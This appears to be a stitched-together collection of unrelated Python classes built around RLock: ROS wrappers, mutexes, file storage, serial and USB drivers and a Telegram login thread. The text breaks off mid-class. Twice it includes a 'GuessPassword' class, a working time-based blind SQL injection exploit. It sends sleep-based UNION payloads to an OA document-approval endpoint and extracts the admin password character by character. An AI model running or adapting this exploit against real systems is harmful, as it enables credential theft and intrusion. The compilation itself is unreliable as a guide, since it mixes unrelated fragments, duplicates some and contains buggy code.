class FramesPerSecond(object): """FPS counter that can be shared among the processes as it uses shared array to keep the history of events rather than deque. """ def __init__(self, maxlen: int = 100, timeframe: float = 10.0): assert maxlen > 0 self.__lock = RLock() self.__timestamps = Array(Cell, [(0.0, 0.0)] * maxlen, lock=self.__lock) self.__index = Value('i', 0, lock=self.__lock) self.__start = Value('i', 0, lock=self.__lock) self.__length = Value('i', 0, lock=self.__lock) self.__maxlen = maxlen self.__timeframe = timeframe def __call__(self, value=None): self.__lock.acquire() try: now = time() if value is not None: self.__timestamps[self.__index.value] = (now, value) self.__increment(self.__index, self.__maxlen) if self.__length.value < self.__maxlen: self.__length.value = self.__length.value + 1 if self.__length.value == self.__maxlen: self.__increment(self.__start, self.__maxlen) while self.__length.value > 0 and \ self.__timestamps[self.__start.value].time + self.__timeframe < now: self.__timestamps[self.__start.value] = (0, 0) if self.__length.value < self.__maxlen: self.__increment(self.__start, self.__maxlen) self.__length.value = self.__length.value - 1 if self.__length.value > 0: return self._calculate(self.__timestamps, self.__index.value, self.__start.value, self.__length.value, self.__maxlen) else: assert self.__start.value == self.__index.value, \ "start {} != index {}".format(self.__start.value, self.__index.value) return 0.0 finally: self.__lock.release() @staticmethod def __increment(value, maxlen): value.value = value.value + 1 if value.value >= maxlen: value.value = 0 def _calculate(self, timestamps, index, start, length, maxlen): try: time_diff = timestamps[index - 1].time - timestamps[start].time return length / time_diff except ZeroDivisionError: return 0.0
class ROSMulti(object): """ Experimental ros interface wrapping the complexities of communicating with multiple ros masters """ """ Creates a new process, configured with the appropriate variables and uses pipes to relay data """ """ to and from the current process. The hope is to stablise this to the point that it can """ """ replace direct calls to rosHelper, allowing for communication and control of multiple robots """ """ from the same top level process. """ def __init__(self, version=None, packagePath=None, packageName=None, rosMaster=None, overlayPath=None): localPipe, remotePipe = Pipe() self._pipe = localPipe self._rosRemote = _RosMulti(version, rosMaster, overlayPath, remotePipe) self._rosRemote.start() self._pipeLock = RLock() def __del__(self): self._pipe.close() def getSingleMessage(self, topic, retryOnFailure=1, timeout=None): msg = Message('getSingleMessage', { 'topic': topic, 'retryOnFailure': retryOnFailure, 'timeout': timeout }) return self._send(msg) def getTopics(self, baseFilter='', exactMatch=False): msg = Message('getTopics', { 'baseFilter': baseFilter, 'exactMatch': exactMatch }) return self._send(msg) def getMessageType(self, topic): msg = Message('getMessageType', {'topic': topic}) return self._send(msg) def getParam(self, paramName): msg = Message('getParam', {'paramName': paramName}) return self._send(msg) def _send(self, msg): self._pipeLock.acquire() try: self._pipe.send(msg) try: ret = self._pipe.recv() except EOFError: return None if type(ret) == Exception: raise ret else: return ret finally: self._pipeLock.release()
class MLock: def __init__(self): self.lock = Lock() self.rlock = RLock() def _acquire(self): # 需要添加对锁获取次数的判断 self.lock.acquire() def _release(self): self.lock.release() def _rlacquire(self): try: self.rlock.acquire() except Exception as e: printlog.err(e) finally: pass def _rlrelase(self): try: self.rlock.release() except Exception as e: printlog.err(e) finally: pass
class GuessPassword(object): def __init__(self, passwd_length, processes=6, timeout=3): self.result = Manager().dict() self.stop_flag = Manager().list() self.worker_list = [] self.processes = processes self.timeout = timeout self.queue = Queue() self.lock = RLock() self.cookie = {'_SERVER': ''} self.passwd_length = passwd_length self.url = "http://localhost/general/document/index.php/send/approve/finish" self.payload = "1) and char(@`'`) union select if(ord(mid(PASSWORD,{position},1))={guess_char},sleep(4),1),1 from user WHERE BYNAME = 0x61646d696e #and char(@`'`)" self.stop_flag.append(False) # 这里不能写成 self.stop_flag[0] = False, 否则会提示 indexOutRange for _ in range(1, self.passwd_length): self.queue.put(_) def exploit(self): while not self.queue.empty() and not self.stop_flag[0]: passwd_position = self.queue.get() for _guess_char in range(33, 128): payload = self.payload.format(position=passwd_position, guess_char=_guess_char) exp_data = {'sid': payload} try: res = requests.post(self.url, data=exp_data, cookies=self.cookie, timeout=self.timeout) except requests.ReadTimeout: self.lock.acquire() self.result[passwd_position] = chr(_guess_char) print "Data %dth: %s" % (passwd_position, self.result[passwd_position]) self.lock.release() break def run(self): for _ in range(self.processes): _worker = Process(target=self.exploit) # _worker.daemon = True _worker.start() try: while len( multiprocessing.active_children()) > 2: # 为什么不是大于0呢, 当所有工作子进程都结束之后,还有两个子进程在运行,那就是两个Manager 子进程(用于多进程共享数据);multiprocessing.active_children() 返回的是当前活动进程对象的list # self.lock.acquire() # print len(multiprocessing.active_children()) # self.lock.release() time.sleep(1) except KeyboardInterrupt: self.lock.acquire() print 'wait for all subprocess stop......' self.stop_flag[0] = True self.lock.release() else: print self.result print 'finish'
class ChannelMutex(object): def __init__(self): self.reader_mutex = RLock() self.writer_mutex = os.name != 'nt' and RLock() or None self.acquire = self._make_acquire_method() self.release = self._make_release_method() def __getstate__(self): return self.reader_mutex, self.writer_mutex def __setstate__(self, state): self.reader_mutex, self.writer_mutex = state self.acquire = self._make_acquire_method() self.release = self._make_release_method() def __enter__(self): self.acquire() return self def __exit__(self, *_): self.release() def _make_acquire_method(self): def unix_acquire(): self.reader_mutex.acquire() self.writer_mutex.acquire() def windows_acquire(): self.reader_mutex.acquire() return os.name != 'nt' and unix_acquire or windows_acquire def _make_release_method(self): def unix_release(): self.reader_mutex.release() self.writer_mutex.release() def windows_release(): self.reader_mutex.release() return os.name != 'nt' and unix_release or windows_release @property @contextmanager def reader(self): with self.reader_mutex: yield self @property @contextmanager def writer(self): with self.writer_mutex: yield self
class ROS(object): def __init__(self, version=None, packagePath=None, packageName=None, rosMaster=None, overlayPath=None): localPipe, remotePipe = Pipe() self._pipe = localPipe self._rosRemote = _RosMulti(version, rosMaster, overlayPath, remotePipe) self._rosRemote.start() self._pipeLock = RLock() def __del__(self): self._pipe.close() def getSingleMessage(self, topic, retryOnFailure=1, timeout=None): msg = Message('getSingleMessage', { 'topic': topic, 'retryOnFailure': retryOnFailure, 'timeout': timeout }) return self._send(msg) def getTopics(self, baseFilter='', exactMatch=False): msg = Message('getTopics', { 'baseFilter': baseFilter, 'exactMatch': exactMatch }) return self._send(msg) def getMessageType(self, topic): msg = Message('getMessageType', {'topic': topic}) return self._send(msg) def _send(self, msg): self._pipeLock.acquire() try: self._pipe.send(msg) try: ret = self._pipe.recv() except EOFError: return None if type(ret) == Exception: raise ret else: return ret finally: self._pipeLock.release()
class ROSMulti(object): """ Experimental ros interface wrapping the complexities of communicating with multiple ros masters """ """ Creates a new process, configured with the appropriate variables and uses pipes to relay data """ """ to and from the current process. The hope is to stablise this to the point that it can """ """ replace direct calls to rosHelper, allowing for communication and control of multiple robots """ """ from the same top level process. """ def __init__(self, version=None, packagePath=None, packageName=None, rosMaster=None, overlayPath=None): localPipe, remotePipe = Pipe() self._pipe = localPipe self._rosRemote = _RosMulti(version, rosMaster, overlayPath, remotePipe) self._rosRemote.start() self._pipeLock = RLock() def __del__(self): self._pipe.close() def getSingleMessage(self, topic, retryOnFailure=1, timeout=None): msg = Message('getSingleMessage', {'topic':topic, 'retryOnFailure':retryOnFailure, 'timeout':timeout}) return self._send(msg) def getTopics(self, baseFilter='', exactMatch=False): msg = Message('getTopics', {'baseFilter':baseFilter, 'exactMatch':exactMatch}) return self._send(msg) def getMessageType(self, topic): msg = Message('getMessageType', {'topic':topic}) return self._send(msg) def getParam(self, paramName): msg = Message('getParam', {'paramName': paramName}) return self._send(msg) def _send(self, msg): self._pipeLock.acquire() try: self._pipe.send(msg) try: ret = self._pipe.recv() except EOFError: return None if type(ret) == Exception: raise ret else: return ret finally: self._pipeLock.release()
class PhyMessage(Message): #hid message type (MSG_HID_RAW_DATA, MSG_HID_SIMULATED) = range(600, 602) HID_DEVICE = 'HID Device' def __init__(self, *args, **kwargs): super(PhyMessage, self).__init__(PhyMessage.HID_DEVICE, *args, **kwargs) self.report_lock = RLock() def send(self): #print("PhyMessage send") self.report_lock.acquire() result = super(PhyMessage, self).send() self.report_lock.release() return result
class BaseFileSystemDriver(Driver): def __init__(self, *args, **kwargs): super(BaseFileSystemDriver, self).__init__(*args, **kwargs) self._lock = RLock() def connect(self): self._lock.acquire() def disconnect(self): self._lock.release() def __getstate__(self): obj_dict = super(BaseFileSystemDriver, self).__getstate__() del obj_dict['_lock'] return obj_dict def __setstate__(self, obj_dict): super(BaseFileSystemDriver, self).__setstate__(obj_dict) vars(self).update(_lock=RLock(), **obj_dict)
class SafeWatchedFileHandler(WatchedFileHandler): def __init__(self, filename, mode='a', encoding=None, delay=0): WatchedFileHandler.__init__(self, filename, mode, encoding, delay) self._lock = RLock() def close(self): self._lock.acquire(timeout=2) try: WatchedFileHandler.close(self) finally: self._lock.release() def emit(self, record): self._lock.acquire(timeout=2) try: WatchedFileHandler.emit(self, record) finally: self._lock.release()
class SafeWatchedFileHandler(WatchedFileHandler): def __init__(self, filename, mode="a", encoding=None, delay=0): WatchedFileHandler.__init__(self, filename, mode, encoding, delay) self._lock = RLock() def close(self): self._lock.acquire(timeout=2) try: WatchedFileHandler.close(self) finally: self._lock.release() def emit(self, record): self._lock.acquire(timeout=2) try: WatchedFileHandler.emit(self, record) finally: self._lock.release()
class AtomicInt: ''' An atomic integer class. All operations are thread safe. ''' def __init__(self, value=0): self.value = value self.lock = RLock() def set(self, value): self.lock.acquire() self.value = value self.lock.release() def addAndGet(self, value): self.lock.acquire() self.value += value val = self.value self.lock.release() return val def get(self): self.lock.acquire() val = self.value self.lock.release() return val
class ROS(object): def __init__(self, version=None, packagePath=None, packageName=None, rosMaster=None, overlayPath=None): localPipe, remotePipe = Pipe() self._pipe = localPipe self._rosRemote = _RosMulti(version, rosMaster, overlayPath, remotePipe) self._rosRemote.start() self._pipeLock = RLock() def __del__(self): self._pipe.close() def getSingleMessage(self, topic, retryOnFailure=1, timeout=None): msg = Message('getSingleMessage', {'topic':topic, 'retryOnFailure':retryOnFailure, 'timeout':timeout}) return self._send(msg) def getTopics(self, baseFilter='', exactMatch=False): msg = Message('getTopics', {'baseFilter':baseFilter, 'exactMatch':exactMatch}) return self._send(msg) def getMessageType(self, topic): msg = Message('getMessageType', {'topic':topic}) return self._send(msg) def _send(self, msg): self._pipeLock.acquire() try: self._pipe.send(msg) try: ret = self._pipe.recv() except EOFError: return None if type(ret) == Exception: raise ret else: return ret finally: self._pipeLock.release()
class FileSystemResourceAPI(api.ResourceAPI): """ File system implementation of the storage resource API ("RAPI"). """ def __init__(self, directory, **kwargs): """ :param directory: root dir for storage """ super(FileSystemResourceAPI, self).__init__(**kwargs) self.directory = directory self.base_path = os.path.join(self.directory, self.name) self._join_path = partial(os.path.join, self.base_path) self._lock = RLock() @contextmanager def connect(self): """ Establishes a connection and destroys it after use. """ try: self._establish_connection() yield self except BaseException as e: raise exceptions.StorageError(str(e)) finally: self._destroy_connection() def _establish_connection(self): """ Establishes a connection. Used in the ``connect`` context manager. """ self._lock.acquire() def _destroy_connection(self): """ Destroys a connection. Used in the ``connect`` context manager. """ self._lock.release() def __repr__(self): return '{cls.__name__}(directory={self.directory})'.format( cls=self.__class__, self=self) def create(self, **kwargs): """ Creates a directory in by path. Tries to create the root directory as well. :param name: path of directory """ try: os.makedirs(self.directory) except (OSError, IOError): pass try: os.makedirs(self.base_path) except (OSError, IOError): pass def read(self, entry_id, path, **_): """ Retrieves the contents of a file. :param entry_id: entry ID :param path: path to resource :return: contents of the file :rtype: bytes """ resource_relative_path = os.path.join(self.name, entry_id, path or '') resource = os.path.join(self.directory, resource_relative_path) if not os.path.exists(resource): raise exceptions.StorageError( "Resource {0} does not exist".format(resource_relative_path)) if not os.path.isfile(resource): resources = os.listdir(resource) if len(resources) != 1: raise exceptions.StorageError( 'Failed to read {0}; Reading a directory is ' 'only allowed when it contains a single resource'.format( resource)) resource = os.path.join(resource, resources[0]) with open(resource, 'rb') as resource_file: return resource_file.read() def download(self, entry_id, destination, path=None, **_): """ Downloads a file or directory. :param entry_id: entry ID :param destination: download destination :param path: path to download relative to the root of the entry (otherwise all) """ resource_relative_path = os.path.join(self.name, entry_id, path or '') resource = os.path.join(self.directory, resource_relative_path) if not os.path.exists(resource): raise exceptions.StorageError( "Resource {0} does not exist".format(resource_relative_path)) if os.path.isfile(resource): shutil.copy2(resource, destination) else: dir_util.copy_tree(resource, destination) # pylint: disable=no-member def upload(self, entry_id, source, path=None, **_): """ Uploads a file or directory. :param entry_id: entry ID :param source: source of the files to upload :param path: the destination of the file/s relative to the entry root dir. """ resource_directory = os.path.join(self.directory, self.name, entry_id) if not os.path.exists(resource_directory): os.makedirs(resource_directory) destination = os.path.join(resource_directory, path or '') if os.path.isfile(source): shutil.copy2(source, destination) else: dir_util.copy_tree(source, destination) # pylint: disable=no-member def delete(self, entry_id, path=None, **_): """ Deletes a file or directory. :param entry_id: entry ID :param path: path to delete relative to the root of the entry (otherwise all) """ destination = os.path.join(self.directory, self.name, entry_id, path or '') if os.path.exists(destination): if os.path.isfile(destination): os.remove(destination) else: shutil.rmtree(destination) return True return False
class ChannelMutex: def __init__(self): self.reader_mutex = RLock() self.writer_mutex = os.name != 'nt' and RLock() or None self.acquire = self._make_acquire_method() self.release = self._make_release_method() def __getstate__(self): return self.reader_mutex, self.writer_mutex def __setstate__(self, state): self.reader_mutex, self.writer_mutex = state self.acquire = self._make_acquire_method() self.release = self._make_release_method() def __enter__(self): if self.acquire(): return self else: raise ChannelError("Channel mutex time out") def __exit__(self, *_): self.release() def _make_acquire_method(self): def unix_acquire(): return (self.reader_mutex.acquire(timeout=LOCK_TIMEOUT) and self.writer_mutex.acquire(timeout=LOCK_TIMEOUT)) def windows_acquire(): return self.reader_mutex.acquire(timeout=LOCK_TIMEOUT) return os.name != 'nt' and unix_acquire or windows_acquire def _make_release_method(self): def unix_release(): self.reader_mutex.release() self.writer_mutex.release() def windows_release(): self.reader_mutex.release() return os.name != 'nt' and unix_release or windows_release @property @contextmanager def reader(self): if self.reader_mutex.acquire(timeout=LOCK_TIMEOUT): try: yield self finally: self.reader_mutex.release() else: raise ChannelError("Channel mutex time out") @property @contextmanager def writer(self): if self.writer_mutex.acquire(timeout=LOCK_TIMEOUT): try: yield self finally: self.writer_mutex.release() else: raise ChannelError("Channel mutex time out")
class UsbCon(): """ USBTMC BACKEND A wrapper of the usbtmc library. The idea is that I can create an abstraction layer so that in the future, I can write other backends to support other os's. May need to make a pyvisa backend, for example. """ def __init__(self, idProduct=None, idVendor=None): """ """ self.lock = RLock() self.instr = self.connect(idProduct, idVendor) print("Asking *IDN? returns: {}".format(self.ask("*IDN?"))) def connect(self, idProduct=None, idVendor=None): """ if either idProduct or idVendor are None, query the user for what to connect to. """ if idProduct is None or idVendor is None: for dev in usbtmc.list_devices(): print("1: {} - {}".format(dev.manufacturer, dev.product)) dev_con = raw_input( "Enter the number of the device you want to connect to: ") dev_chosen = usbtmc.list_devices()[int(dev_con) - 1] product_id = dev_chosen.idProduct vendor_id = dev_chosen.idVendor for dev in usbtmc.list_devices(): if dev.idProduct == product_id and dev.idVendor == vendor_id: if dev.is_kernel_driver_active(0): dev.detach_kernel_driver(0) instr = usbtmc.Instrument(vendor_id, product_id) return instr def read(self, num=-1, encoding="utf-8"): """ Wrapping around the read method in usbtmc.Instrument """ self.lock.acquire() msg = self.instr.read(num, encoding) self.lock.release() return msg def write(self, message, encoding="utf-8"): """ Wrapping around the write method in usbtmc.Instrument """ self.lock.acquire() msg = self.instr.write(message, encoding) self.lock.release() return msg def ask(self, message, num=-1, encoding="utf-8"): """ Wrapping around the ask method in usbtmc.Instrument """ self.lock.acquire() msg = self.instr.ask(message, num, encoding) self.lock.release() return msg def read_raw(self, num=-1): """ Wrapping around the read_raw method in usbtmc.Instrument """ self.lock.acquire() msg = self.instr.read_raw(num) self.lock.release() return msg def ask_raw(self, msg, num=-1): """ Wrapping around the ask_raw method in usbtmc.Instrument """ self.lock.acquire() msg = self.instr.ask_raw(msg, num) self.lock.release() return msg
class ChannelMutex: def __init__(self): self.reader_mutex = RLock() self.writer_mutex = os.name != 'nt' and RLock() or None self.acquire = self._make_acquire_method() self.release = self._make_release_method() def __getstate__(self): return self.reader_mutex, self.writer_mutex def __setstate__(self, state): self.reader_mutex, self.writer_mutex = state self.acquire = self._make_acquire_method() self.release = self._make_release_method() def __enter__(self): if self.acquire(): return self else: raise ChannelError("Channel mutex time out") def __exit__(self, *_): self.release() def _make_acquire_method(self): def unix_acquire(): return (self.reader_mutex.acquire(timeout=LOCK_TIMEOUT) and self.writer_mutex.acquire(timeout=LOCK_TIMEOUT)) def windows_acquire(): return self.reader_mutex.acquire(timeout=LOCK_TIMEOUT) return os.name != 'nt' and unix_acquire or windows_acquire def _make_release_method(self): def unix_release(): self.reader_mutex.release() self.writer_mutex.release() def windows_release(): self.reader_mutex.release() return os.name != 'nt' and unix_release or windows_release @property @contextmanager def reader(self): if self.reader_mutex.acquire(timeout=LOCK_TIMEOUT): try: yield self finally: self.reader_mutex.release() else: raise ChannelError("Channel mutex time out") @property @contextmanager def writer(self): if self.writer_mutex.acquire(timeout=LOCK_TIMEOUT): try: yield self finally: self.writer_mutex.release() else: raise ChannelError("Channel mutex time out")
class FileSystemResourceAPI(api.ResourceAPI): """ File system resource storage. """ def __init__(self, directory, **kwargs): """ File system implementation for storage api. :param str directory: root dir for storage. """ super(FileSystemResourceAPI, self).__init__(**kwargs) self.directory = directory self.base_path = os.path.join(self.directory, self.name) self._join_path = partial(os.path.join, self.base_path) self._lock = RLock() @contextmanager def connect(self): """ Established a connection and destroys it after use. :return: """ try: self._establish_connection() yield self except BaseException as e: raise exceptions.StorageError(str(e)) finally: self._destroy_connection() def _establish_connection(self): """ Establish a conenction. used in the 'connect' contextmanager. :return: """ self._lock.acquire() def _destroy_connection(self): """ Destroy a connection. used in the 'connect' contextmanager. :return: """ self._lock.release() def __repr__(self): return '{cls.__name__}(directory={self.directory})'.format( cls=self.__class__, self=self) def create(self, **kwargs): """ Create directory in storage by path. tries to create the root directory as well. :param str name: path of file in storage. """ try: os.makedirs(self.directory) except (OSError, IOError): pass try: os.makedirs(self.base_path) except (OSError, IOError): pass def read(self, entry_id, path=None, **_): """ Retrieve the content of a file system storage resource. :param str entry_type: the type of the entry. :param str entry_id: the id of the entry. :param str path: a path to a specific resource. :return: the content of the file :rtype: bytes """ resource_relative_path = os.path.join(self.name, entry_id, path or '') resource = os.path.join(self.directory, resource_relative_path) if not os.path.exists(resource): raise exceptions.StorageError( "Resource {0} does not exist".format(resource_relative_path)) if not os.path.isfile(resource): resources = os.listdir(resource) if len(resources) != 1: raise exceptions.StorageError( 'No resource in path: {0}'.format(resource)) resource = os.path.join(resource, resources[0]) with open(resource, 'rb') as resource_file: return resource_file.read() def download(self, entry_id, destination, path=None, **_): """ Download a specific file or dir from the file system resource storage. :param str entry_type: the name of the entry. :param str entry_id: the id of the entry :param str destination: the destination of the files. :param str path: a path on the remote machine relative to the root of the entry. """ resource_relative_path = os.path.join(self.name, entry_id, path or '') resource = os.path.join(self.directory, resource_relative_path) if not os.path.exists(resource): raise exceptions.StorageError( "Resource {0} does not exist".format(resource_relative_path)) if os.path.isfile(resource): shutil.copy2(resource, destination) else: dir_util.copy_tree(resource, destination) # pylint: disable=no-member def upload(self, entry_id, source, path=None, **_): """ Uploads a specific file or dir to the file system resource storage. :param str entry_type: the name of the entry. :param str entry_id: the id of the entry :param source: the source of the files to upload. :param path: the destination of the file/s relative to the entry root dir. """ resource_directory = os.path.join(self.directory, self.name, entry_id) if not os.path.exists(resource_directory): os.makedirs(resource_directory) destination = os.path.join(resource_directory, path or '') if os.path.isfile(source): shutil.copy2(source, destination) else: dir_util.copy_tree(source, destination) # pylint: disable=no-member
class Client(Thread): _phone_lock = Lock() _code_lock = Lock() _pass_lock = Lock() event_pass = Event() def __init__(self, session): super().__init__() self._global_lock = RLock() self._character = Character(session) self._session = session self._phone = '' self._code = '' self._pass = '' self._tgClient = None self._code_requested = False self._session = session self._phone_lock.acquire() self._pass_lock.acquire() self._code_lock.acquire() self._need_pass = False self._worker = None self._module = None self.event_pass.clear() def set_phone(self, phone): self._phone = phone self._phone_lock.release() def set_code(self, code): self._code = code self._code_lock.release() def set_pass(self, password): self._pass = password self._pass_lock.release() def set_opts(self, opts): self._character.set_opts(opts) def run(self): self._thread_auth() if self._character.config.module: self._module = importlib.import_module( 'CWUnits.' + self._character.config.module) self._worker = self._module.Module(self._tgClient, self._character) self._worker.setName('Sender') self._worker.start() def _thread_auth(self): with self._global_lock: session = Session.try_load_or_create_new(self._session) session.server_address = '149.154.167.50' session.port = 443 session.device_model = platform.node() session.system_version = platform.system() session.app_version = TelegramClient.__version__ session.lang_code = 'en' self._tgClient = TelegramClient(session, config.API_ID, config.API_HASH) self.connect() while not self.authorised(): self._phone_lock.acquire() self.code_request() self._global_lock.acquire() self._code_lock.acquire() try: self.login(self._code) self._code_lock.release() self.event_pass.set() except SessionPasswordNeededError: self._need_pass = True self.event_pass.set() self._pass_lock.acquire() self.login(password=self._pass) finally: self._global_lock.release() def pass_needed(self): self.event_pass.wait() self.event_pass.clear() return self._need_pass def get_session_name(self): return self._session def connect(self): self._tgClient.connect() def authorised(self): self._global_lock.acquire() try: return self._tgClient.is_user_authorized( ) if self._tgClient else False finally: self._global_lock.release() def code_request(self): self._tgClient.send_code_request(self._phone) self._code_requested = True def login(self, code=None, password=None): try: if self._phone and self._code_requested: if password: res = self._tgClient.sign_in(password=password) return res res = self._tgClient.sign_in(self._phone, code) return res return 0 except SessionPasswordNeededError as e: raise e
class RLock(Lock): """ A reentrant lock, functions in a similar way to threading.RLock in that it can be acquired multiple times. When the corresponding number of release() calls are made the lock will finally release the underlying file lock. """ def __init__(self, filename, mode='a', timeout=DEFAULT_TIMEOUT, check_interval=DEFAULT_CHECK_INTERVAL, fail_when_locked=False, flags=LOCK_METHOD): super(RLock, self).__init__(filename, mode, timeout, check_interval, fail_when_locked, flags) self._acquire_count = 0 self._lock = ProcessRLock() self._pid = os.getpid() def acquire(self, timeout=None, check_interval=None, fail_when_locked=None): if self._lock: if not self._lock.acquire(timeout=timeout): # We got a timeout... reraising raise exceptions.LockException() # check if we need to recreate the file lock on another subprocess if self._pid != os.getpid(): self._pid = os.getpid() self._acquire_count = 0 if self.fh: try: portalocker.unlock(self.fh) self.fh.close() except: pass self.fh = None if self._acquire_count >= 1: fh = self.fh else: fh = super(RLock, self).acquire(timeout, check_interval, fail_when_locked) self._acquire_count += 1 return fh def release(self): if self._acquire_count == 0: raise exceptions.LockException( "Cannot release more times than acquired") if self._acquire_count == 1: super(RLock, self).release() self._acquire_count -= 1 if self._lock: self._lock.release() def __del__(self): self._lock = None # try to remove the file when we are done if not os.path.isfile(self.filename): return try: self.acquire(timeout=0) try: os.unlink(self.filename) removed = True except Exception: removed = False self.release() if not removed: try: os.unlink(self.filename) except Exception: pass except Exception: pass
class uart: def __init__(self, port=1, baudrate=115200, log=False): self.__keywords = [] self.monitor_string = None self.__port = port self.__serial = serial.serial_for_url( "COM{num}".format(num=self.__port), baudrate, parity="N", rtscts=False, xonxoff=False, timeout=1, do_not_open=True, ) self.__serial.open() self.__serial_io = io.TextIOWrapper(io.BufferedRWPair(self.__serial, self.__serial)) self.__cmd_queue = Queue() self.__rx_thread = threading.Thread(target=self.__read_thread, name="rx_thread") self.__rx_thread.setDaemon(True) self.__rx_thread.start() self.__tx_thread = threading.Thread(target=self.__write_thread, name="tx_thread") self.__tx_thread.setDaemon(True) self.__tx_thread.start() self.__mutex = RLock() self.__log = log self.__is_monitor_rx_enable = False self.__echo_method = None if log is True: ltime = time.localtime(time.time()) logging.basicConfig( filename="log_{mon}_{date}_{h}_{m}_{s}.txt".format( mon=str(ltime.tm_mon).zfill(2), date=str(ltime.tm_mday).zfill(2), h=str(ltime.tm_hour).zfill(2), m=str(ltime.tm_min).zfill(2), s=str(ltime.tm_sec).zfill(2), ), level=logging.DEBUG, ) def SetEchoFunction(self, method): self.__echo_method = method def __read_thread(self): while True: data = self.__serial_io.readline() if len(data): # print(data) if self.__echo_method is not None: self.__echo_method(data) if self.__log is True: logging.info("[RX]" + str(data)) self.__monitor_rx_string_method(data) def __write_thread(self): while True: if not self.__cmd_queue.empty(): send_data = self.__cmd_queue.get() self.__serial_io.write(send_data) self.__serial_io.flush() if self.__log is True: logging.info("[TX]" + str(send_data)) time.sleep(0.05) def __monitor_rx_string_method(self, data): self.__mutex.acquire() if self.__is_monitor_rx_enable is True: if self.__isMatchString(data) is True: self.__is_monitor_rx_enable = False self.__mutex.release() def __isMatchString(self, data): is_hit_string = False for keyword in self.__keywords: if re.search(keyword, data): is_hit_string = True break return is_hit_string def Send(self, content, wait_string_list=[], wait_string_timeout=0): assert isinstance(content, str) is True, "content is not string" assert type(wait_string_list) is list, "wait_string_list must be list" if len(wait_string_list) > 0: self._update_keywords(wait_string_list) self.__cmd_queue.put(content) start_time = time.time() while self.__is_monitor_rx_enable is True: if timeout is not 0: if time.time() - start_time >= timeout: break if self.__is_monitor_rx_enable is True: self.__mutex.acquire() self.__is_monitor_rx_enable = False self.__mutex.release() return False return True else: self.__cmd_queue.put(content) return True def Connect(self): if self.__serial.isOpen() == False: self.__serial.open() def Disconnect(self): self.__serial.close() def _update_keywords(self, string_list): self.__mutex.acquire() self.__keyworks = string_list self.__is_monitor_rx_enable = True self.__mutex.release() def WaitString(self, string_list, timeout=0): assert type(string_list) is list, "string_list must be list" assert len(string_list) > 0, "what string you want to wait" assert self.__is_monitor_rx_enable is False, "__is_monitor_rx_enable is True" start_time = time.time() self._update_keywords() while self.__is_monitor_rx_enable is True: if timeout is not 0: if time.time() - start_time >= timeout: break if self.__is_monitor_rx_enable is True: self.__mutex.acquire() self.__is_monitor_rx_enable = False self.__mutex.release() return False return True
class GuessPassword(object): def __init__(self, passwd_length, processes=6, timeout=3): self.result = Manager().dict() self.stop_flag = Manager().list() self.worker_list = [] self.processes = processes self.timeout = timeout self.queue = Queue() self.lock = RLock() self.cookie = {'_SERVER': ''} self.passwd_length = passwd_length self.url = "http://localhost/general/document/index.php/send/approve/finish" self.payload = "1) and char(@`'`) union select if(ord(mid(PASSWORD,{position},1))={guess_char},sleep(4),1),1 from user WHERE BYNAME = 0x61646d696e #and char(@`'`)" self.stop_flag.append( False) # 这里不能写成 self.stop_flag[0] = False, 否则会提示 indexOutRange for _ in range(1, self.passwd_length): self.queue.put(_) def exploit(self): while not self.queue.empty() and not self.stop_flag[0]: passwd_position = self.queue.get() for _guess_char in range(33, 128): payload = self.payload.format(position=passwd_position, guess_char=_guess_char) exp_data = {'sid': payload} try: res = requests.post(self.url, data=exp_data, cookies=self.cookie, timeout=self.timeout) except requests.ReadTimeout: self.lock.acquire() self.result[passwd_position] = chr(_guess_char) print "Data %dth: %s" % (passwd_position, self.result[passwd_position]) self.lock.release() break def run(self): for _ in range(self.processes): _worker = Process(target=self.exploit) # _worker.daemon = True _worker.start() try: while len( multiprocessing.active_children() ) > 2: # 为什么不是大于0呢, 当所有工作子进程都结束之后,还有两个子进程在运行,那就是两个Manager 子进程(用于多进程共享数据);multiprocessing.active_children() 返回的是当前活动进程对象的list # self.lock.acquire() # print len(multiprocessing.active_children()) # self.lock.release() time.sleep(1) except KeyboardInterrupt: self.lock.acquire() print 'wait for all subprocess stop......' self.stop_flag[0] = True self.lock.release() else: print self.result print 'finish'
class SwarmNet(object): """ Класс для детерминированного параллельного поиска локального максимума """ def __init__(self, op, dx=1E-3): """ :param op: начальная точка поиска :param dx: шаг по vec_param """ self.op = op wchr0, self.fit_max = op.get_best(fit_too=True) self.v0 = wchr0['vec_param'] self.s0 = wchr0['vec_struct'] self.ind_best = np.zeros_like(self.v0, dtype=np.int) self.dx = dx self.locker = RLock() self.all_dict = {} self.surf_p_heap = [] key = hash_arr(self.ind_best) di = {'ind': self.ind_best} wchr_id = wchr0['id'] wchr0['dop_info'] = di self.all_dict[key] = { 'fitness': self.fit_max, 'id': wchr_id, 'ind': self.ind_best, 'vec_param': self.v0 } neibs_inds = self.get_neibs_indexes(self.ind_best) v_center = self.all_dict[hash_arr(self.ind_best)]['vec_param'] for neib_ind in neibs_inds: if self.is_in_dict(neib_ind): continue neib_v, isgood = self.get_good_neib_v(v_center, neib_ind) if isgood: self.add_to_surf_heap(neib_ind, neib_v) if not self.fit_max: self.add_to_surf_heap(self.ind_best, self.v0) def dist_func(self, ind): """ Метод получения расстояния между решением под индексом ind и до самого лучшего решения Чем ближе точка находится к лучшему решению, тем вероятнее ее посчитают :param ind: индеск точки :return: дистанция """ return np.linalg.norm(ind - self.ind_best) def add_to_surf_heap(self, ind, vec_param): """ метод добавления новой потенциальной точки в "поверхность" выбора :param ind: индекс новой точки :param vec_param: :return: none """ dist = self.dist_func(ind) heappush(self.surf_p_heap, SurfPoint(dist, ind, vec_param)) def get_v(self, indexes): """ получить vec_param по индексу :param indexes: int or nd-int array of delta xs :return: """ v = np.copy(self.v0) dv = np.array(indexes, dtype=np.int) * self.dx v = v + dv return v def get_good_neib_v(self, v_center, neib_ind): """ получить отвалидированный vec_param :param ind: :param neib_ind: :return: (neib_v, true/false); true=good neib_v """ neib_v = self.get_v(neib_ind) return self.op.chr_contr.validate_vec_param(v_center, neib_v, self.s0) def get_neibs_indexes(self, ind): """ Получить список соседей (неотвалидированный) :param ind: индеск центра :return: [neib_ind, ..] """ neibs = [] for i in range(len(ind)): n1 = np.array(ind, dtype=np.int) n1[i] += 1 neibs.append(n1) n2 = np.array(ind, dtype=np.int) n2[i] -= 1 neibs.append(n2) return neibs def is_in_dict(self, ind): """ :param ind: ndarray, int :return: true/false """ key = hash_arr(ind) return key in self.all_dict def add_to_all_dict(self, ind, vec_param): """ ДОбавляет новую точку в мега-словарь :param ind: :param vec_param: :return: """ key = hash_arr(ind) if key in self.all_dict: return chromo = self.op.chr_contr.get_chromo_from_vecs(vec_param, self.s0) di = 